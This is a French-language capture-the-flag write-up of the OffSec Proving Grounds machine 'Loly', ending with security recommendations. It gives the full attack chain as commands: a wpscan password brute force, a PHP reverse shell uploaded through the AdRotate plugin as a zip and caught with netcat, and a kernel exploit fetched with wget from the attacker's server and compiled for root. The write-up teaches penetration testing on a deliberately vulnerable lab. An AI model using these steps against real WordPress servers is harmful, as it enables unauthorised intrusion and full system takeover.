Compte-rendu technique | Loly offsec Proving Grounds

Résolution et explication des vulnérabilités de la machine Loly d'offsec

5/8/20255 min temps de lecture

Cet article vise à expliquer une machine CTF Loly d'offsec. Le programme Proving Grounds d'offsec permet de s'entrainer en donnant un accès gratuit de trois heures par jour pour compléter des machines.

Lorsque l'on démarre une machine, son IP nous est donné. La première chose à faire pour gagner du temps est d'enregistrer une variable pour ne pas à réécrire l'IP dans chaque commandes dans notre prompt. Pour cela rien de plus simple, dans notre terminal:

IP=192.168.60.121

On peut alors commencer la première phase d'énumération, un scan réseau initial a été réalisé avec nmap afin d’identifier les services exposés :

nmap -sC -sV -p- $ip -v

On a un seul port ouvert, le 80. En naviguant à cette url on obtient la page par defaut nginx. En énumérant davanatage avec gobuster et on trouve un dossier /wordpress

gobuster dir -u http://192.168.120.151 -w /usr/share/wordlists/dirb/small.txt -z

En naviguant sur l'url IP/wordpress le site semble ne pas fonctionner correctement (affichage CSS). En regardant pas curiosité le code source, on trouve que le code pointe vers loly.lc.

Pour remédier à cela on peut facilement enregistrer l'adresse IP du site web à loly.lc dans le fichier /etc/hosts de notre machine.

sudo nano /etc/hosts

On rajoute la ligne 192.168.60.121 loly.lc

Le site s'affiche correctement dorénavant. On peut l'enumérer davantage avec wpscan

wpscan --url http://loly.lc/wordpress --enumerate u

On trouve l'utilisateur loly. Toujours avec wpscan, on peut essayer de bruteforcer le mot de passe de l'utilisateur loly.

wpscan --url http://loly.lc/wordpress -U loly -P /usr/share/wordlists/metasploit/unix_passwords.txt

[!] Valid Combinations Found:

| Username: loly, Password: fernando

Avec ces credentials trouvés on peut se log via l'URL http://loly.lc/wordpress/wp-login.php. En naviguant dans les extensions on voit AdRotate qui est installé. Celle ci permet d'uploader des fichiers sur l'applications (onglet Manage Media), un reverse shell en PHP par exemple pour accéder au serveur et pouvoir intérargir sur celui ci en ligne de commandes.

De nombreux reverse shell existent, on peut utiliser celui dans notre machine kali dans /usr/share/webshells/php/php-reverse-shell.php.

cp /usr/share/webshells/php/php-reverse-shell.php .

Trouver la ligne :

$ip = '127.0.0.1'; // CHANGE THIS

Puis la modifier par l'ip de notre machine kali (ici en occurence 192.168.49.60). On peut upload le fichier qui se retrouvera dans banners. Par contre la fonction upload n'accepte qu'un certain type de fichiers (les fichiers php n'en font pas partis). On peut donc compresser notre fichier PHP dans un fichier zip, puis l'upload

zip shell.php.zip php-reverse-shell.php

On peut écouter les connexions entrantes à notre machine sur le port 1234 (le port par défaut de notre fichier php)
sudo nc -nvlp 1234

Puis on déclenche le reverse shell en naviguant vers l'url : http://192.168.60.121/wordpress/wp-content/banners/php-reverse-shell.php

Et sur notre listener on obtient bien un shell.

le shell obtenu est celui d'un utilisateur avec des droits limité. On peut tenter d'obtenir les droits administrateur pour contrôler totalement la machine. Pour cela on démarre l'énumération pour savoir quell est la distribution de la machine cible.

www-data@ubuntu:/$ lsb_release -a

lsb_release -a

No LSB modules are available.

Distributor ID: Ubuntu

Description: Ubuntu 16.04.1 LTS

Release: 16.04

Codename: xenial

www-data@ubuntu:/$ uname -a

uname -a

Linux ubuntu 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

On voit que le kernel linux est de version 4.4.0-31. En recherchant un éventuel exploit en ligne on peut trouver local privilege escalation exploit for Linux kernels prior to 4.13.9. On peut le télécharger, monter un serveur web pour pouvoir l'upload sur la machine cible et le compiler la bas.

python3 -m http.server 8000

ON peut télécharger le fichier depuis la machine cible avec wget http://192.168.49.52:8000/45010.c. Puis on compile sur la machine cible avec gcc, malheureusement on obitient une erreur cc1.

On peut corriger cela en ajoutant le dossier cc1 à notre variable d'environnement. On compile l'exploit et on l'exécute et l'on obtient un shell en root :

find /usr -name cc1 : pour trouver le repertoire de cc1

export PATH=$PATH:/usr/lib/gcc/x86_64-linux-gnu/5/cc1: pour ajouter le dossier à la variable d'environnement

Recommandations de sécurité

Dans le cadre de Proving Grounds nous sommes sur une machine volontairement vulnérable, mais ce type de scénario reflète parfaitement des compromissions réelles en entreprise. Voici les bonnes pratiques qui auraient permis d’éviter ou de limiter cette attaque :

Sécuriser WordPress et son environnement

  • Maintenir WordPress, ses thèmes et plugins à jour.

  • Désinstaller tout plugin inutile ou non maintenu (comme AdRotate, ici utilisé pour uploader un shell).

  • Désactiver toute fonctionnalité d’upload non nécessaire et restreindre les types de fichiers autorisés.

Mettre en place une politique de mots de passe stricte

  • Interdire les mots de passe faibles.

  • Mettre en place un mécanisme d’authentification robuste : MFA, Captcha, blocage après plusieurs tentatives, rate-limiting.

  • Protéger l’accès au /wp-login.

Restreindre l’accès à l’infrastructure

  • Limiter les accès uniquement aux utilisateurs nécessaires.

  • Surveiller et journaliser les connexions et actions suspectes.

Empêcher l’exécution de fichiers malveillants

  • Appliquer des permissions strictes sur les répertoires Web.

  • Interdire l’exécution de PHP dans les dossiers upload (ex. wp-content/uploads).

Corriger et maintenir le système

  • Mettre à jour régulièrement le système d’exploitation.

  • Corriger les vulnérabilités Kernel connues pour éviter les élévations de privilèges locales.

  • Surveiller les vulnérabilités liées au kernel et aux packages critiques.

Ces mesures auraient significativement réduit la surface d’attaque et empêché la compromission complète du système